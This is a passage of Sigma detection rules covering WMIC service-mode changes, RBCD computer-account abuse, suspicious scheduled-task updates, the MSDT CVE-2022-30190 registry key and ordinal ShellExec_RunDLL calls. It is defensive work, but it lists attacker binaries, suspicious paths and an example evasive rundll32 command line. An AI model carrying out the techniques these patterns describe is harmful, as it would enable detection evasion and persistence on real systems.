    - attack.t1047
    - attack.t1685
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\WMIC.exe'
        - OriginalFileName: 'wmic.exe'
    selection_cli:
        CommandLine|contains|all:
            - ' service '
            - 'ChangeStartMode'
        CommandLine|contains:
            - 'Manual'
            - 'Disabled'
    condition: all of selection_*
falsepositives:
    - Legitimate administrative changes to service startup types using WMIC, investigate accordingly.
level: medium
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_wmic_service_startup_change/info.yml

title: Suspicious computer account created by a computer account
description: Detects scenarios where an attacker abuse MachineAccountQuota privilege and pre-create a computer object for abusing RBCD delegation.
references:
- https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
tags:
- attack.persistence
- attack.t1136
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4741
    SubjectUserName|endswith: '$'
    SubjectUserSid|startswith: 'S-1-5-21-' # SYSTEM account 'S-1-5-18' would trigger a false positive
    TargetUserName|endswith: '$'
  condition: selection
falsepositives:
- Offline domain join host  
- Windows Autopilot Hybrid Azure AD Join
level: high

title: Suspicious Scheduled Task Update
id: 614cf376-6651-47c4-9dcc-6b9527f749f4
related:
    - id: 1c0e41cd-21bb-4433-9acc-4a2cd6367b9b # ProcCreation schtasks change
      type: similar
status: test
description: Detects update to a scheduled task event that contain suspicious keywords.
references:
    - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4698
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-12-05
tags:
    - attack.execution
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1053.005
logsource:
    product: windows
    service: security
    definition: 'The Advanced Audit Policy setting Object Access > Audit Other Object Access Events has to be configured to allow this detection. We also recommend extracting the Command field from the embedded XML in the event data.'
detection:
    selection_eid:
        EventID: 4702
    selection_paths:
        TaskContentNew|contains:
            - '\AppData\Local\Temp\'
            - '\AppData\Roaming\'
            - '\Users\Public\'
            - '\WINDOWS\Temp\'
            - 'C:\Temp\'
            - '\Desktop\'
            - '\Downloads\'
            - '\Temporary Internet'
            - 'C:\ProgramData\'
            - 'C:\Perflogs\'
    selection_commands:
        TaskContentNew|contains:
            - 'regsvr32'
            - 'rundll32'
            - 'cmd.exe</Command>'
            - 'cmd</Command>'
            - '<Arguments>/c '
            - '<Arguments>/k '
            - '<Arguments>/r '
            - 'powershell'
            - 'pwsh'
            - 'mshta'
            - 'wscript'
            - 'cscript'
            - 'certutil'
            - 'bitsadmin'
            - 'bash.exe'
            - 'bash '
            - 'scrcons'
            - 'wmic '
            - 'wmic.exe'
            - 'forfiles'
            - 'scriptrunner'
            - 'hh.exe'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

title: Suspicious Set Value of MSDT in Registry (CVE-2022-30190)
id: 2d9403d5-7927-46b7-8216-37ab7c9ec5e3
status: test
description: Detects set value ms-msdt MSProtocol URI scheme in Registry that could be an attempt to exploit CVE-2022-30190.
references:
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190
    - https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/
author: Sittikorn S
date: 2020-05-31
modified: 2023-08-17
tags:
    - attack.stealth
    - attack.t1221
    - detection.emerging-threats
logsource:
    product: windows
    category: registry_set
detection:
    selection:
        TargetObject|startswith: 'HKCR\ms-msdt\'
    condition: selection
falsepositives:
    - Unknown
level: medium

title: Suspicious ShellExec_RunDLL Call Via Ordinal
id: 8823e85d-31d8-473e-b7f4-92da070f0fc6
related:
    - id: d87bd452-6da1-456e-8155-7dc988157b7d
      type: derived
status: test
description: |
    Detects suspicious call to the "ShellExec_RunDLL" exported function of SHELL32.DLL through the ordinal number to launch other commands.
    Adversary might only use the ordinal number in order to bypass existing detection that alert on usage of ShellExec_RunDLL on CommandLine.
references:
    - https://redcanary.com/blog/raspberry-robin/
    - https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/
    - https://github.com/SigmaHQ/sigma/issues/1009
    - https://strontic.github.io/xcyclopedia/library/shell32.dll-65DA072F25DE83D9F83653E3FEA3644D.html
author: Swachchhanda Shrawan Poudel
date: 2024-12-01
tags:
    - attack.stealth
    - attack.t1218.011
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent_img:
        ParentCommandLine|contains: 'SHELL32.DLL'
    selection_parent_ordinal:
        ParentCommandLine|contains:
            # Note: The ordinal number may differ depending on the DLL version
            # Example: rundll32 SHELL32.DLL,#572 "cmd.exe" "/c calc.exe"
            - '#568'
            - '#570'
            - '#572'
            - '#576'
    selection_susp_cli_parent:
        # Note: Add additional binaries and suspicious paths to increase coverage
        - ParentCommandLine|contains:
              - 'comspec'
              - 'iex'
              - 'Invoke-'
              - 'msiexec'
              - 'odbcconf'
              - 'regsvr32'
        - ParentCommandLine|contains:
              - '\Desktop\'
              - '\ProgramData\'
              - '\Temp\'
              - '\Users\Public\'
    selection_susp_child_img:
        Image|endswith:
            - '\bash.exe'
            - '\bitsadmin.exe'
            - '\cmd.exe'
            - '\cscript.exe'
            - '\curl.exe'
            - '\mshta.exe'
            - '\msiexec.exe'
            - '\msxsl.exe'
            - '\odbcconf.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\regsvr32.exe'
            - '\schtasks.exe'
            - '\wmic.exe'
            - '\wscript.exe'
    condition: all of selection_parent_* and 1 of selection_susp_*
falsepositives:
    - Unknown
level: high